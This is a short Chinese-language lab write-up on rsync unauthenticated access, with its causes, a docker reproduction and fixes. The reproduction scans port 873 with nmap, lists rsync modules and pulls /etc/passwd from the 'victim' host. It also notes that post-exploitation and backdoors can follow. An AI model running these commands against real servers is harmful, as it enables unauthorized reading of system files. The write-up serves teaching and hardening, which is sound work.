一.Rsync簡介:
Rsync是一款遠程同步功能的軟件,同步的同時可以保持源文件的權限、時間、軟硬連接等,常被用於文件的同步、分發等。支持通過rsync協議、ssh協議進行遠程文件傳輸。其中rsync協議默認監聽873端口,如果目標開啟了rsync服務,並且沒有配置ACL或 訪問密碼,我們將可以讀寫目標服務器文件。
二.漏洞成因:
1./etc/rsyncd.conf 未配置賬號、密碼以及目錄權限等
2./Rsync啟動的時候沒有指定--address參數,默認內外網都可以連接
3.沒有使用iptable或host allow等限制可連接rsync服務器的來源ip
三.漏洞復現
在docker下進行漏洞的復現:
存在rsync漏洞的ubuntu服務器:192.168.4.128
攻擊機(kali):192.168.4.157
1.開啟環境:
#sudo docker-compose up -d //開啟該漏洞環境
#sudo docker ps //查看docker運行的進程,查看環境是否運行成功
2 .進行信息收集
使用nmap對此服務器進行端口掃描
#nmap -p 873 192.168.4.128
3.Rsync未授權訪問利用
#rsync rsync://{target_ip}/
查看模塊名列表:
rsync rsync://192.168.4.128:873/
查看src模塊:
rsync rsync://192.168.4.128:873/src
可以看到受害機器的目錄被列舉出來了
下載受害機的文件
rsync -av rsync://192.168.4.128/src/etc/passwd ./
查看下載下來的passwd文件
后續可以進行后滲透,留后門等等操作
四.修復方法
1./etc/rsyncd.conf配置auth users及secrets file,為rsync設置復雜的密碼;
2.rsync啟動的時候用--address參數監聽內網ip;
3.使用iptables或配置文件中的hosts allow限制可連接rsync的ip地址